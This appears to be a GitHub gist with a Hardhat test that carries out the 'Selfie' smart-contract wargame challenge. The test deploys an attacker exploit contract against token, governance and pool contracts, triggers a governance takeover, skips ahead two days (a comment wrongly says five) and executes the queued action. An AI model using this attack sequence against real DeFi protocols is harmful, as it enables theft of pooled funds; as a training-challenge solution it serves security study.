Created
October 27, 2022 02:14
-
-
Save 0xAnon101/d808ae7e8f8e93828855a0a4d4b77166 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it("Exploit", async function () { | |
const SelfieExploitFactory = await ethers.getContractFactory( | |
"SelfieExploit", | |
attacker | |
); | |
this.selfieExploit = await SelfieExploitFactory.deploy( | |
this.token.address, | |
this.governance.address, | |
this.pool.address | |
); | |
await this.selfieExploit.deployed(); | |
// call the exploit function | |
await this.selfieExploit.exploitGovernance(); | |
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 5 days | |
await this.selfieExploit.executeAction(); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment